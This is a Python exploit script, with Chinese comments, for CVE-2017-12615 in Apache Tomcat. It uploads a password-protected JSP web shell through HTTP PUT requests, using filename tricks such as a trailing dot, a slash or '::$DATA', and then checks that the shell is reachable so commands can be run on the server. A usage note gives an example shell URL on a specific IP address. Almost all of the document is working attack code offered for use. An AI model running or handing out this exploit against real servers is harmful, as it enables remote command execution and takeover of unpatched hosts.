[CVE-2017-12615]利用脚本

# coding:utf-8
# author:cbd666

import requests
import sys

'''
Usege:python3 CVE-2017-12615.py http://127.0.0.1/
Shell:http://120.79.66.58:8080/写入的文件?pwd=cbd&cmd=whoami
'''


def attack(url):
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"}
    data = """<%
    if("cbd".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
    %>"""
    code = ['cbd.jsp.', 'cbd.jsp/', 'cbd.jsp::$DATA']
    try:
        for i in range(2):
            requests.put(url + code[i], headers=headers, data=data)  # 发送put请求写入文件
            resp = requests.get(url + code[i][:-1], headers=headers)  # 发送get请求验证是否写入
            if resp.status_code == 200:
                print('写入文件成功,shell地址为 ' + url + code[0][:-1])
                exit()
        requests.put(url + code[2], headers=headers, data=data)
        resp1 = requests.get(url + code[2], headers=headers)
        if resp1.status_code == 200:
            print('写入文件成功,shell地址为 ' + url + code[2])
        print('Exploit结束')
    except:
        "someone is error!!!"


if __name__ == '__main__':
    target_url = sys.argv[1]
    attack(target_url)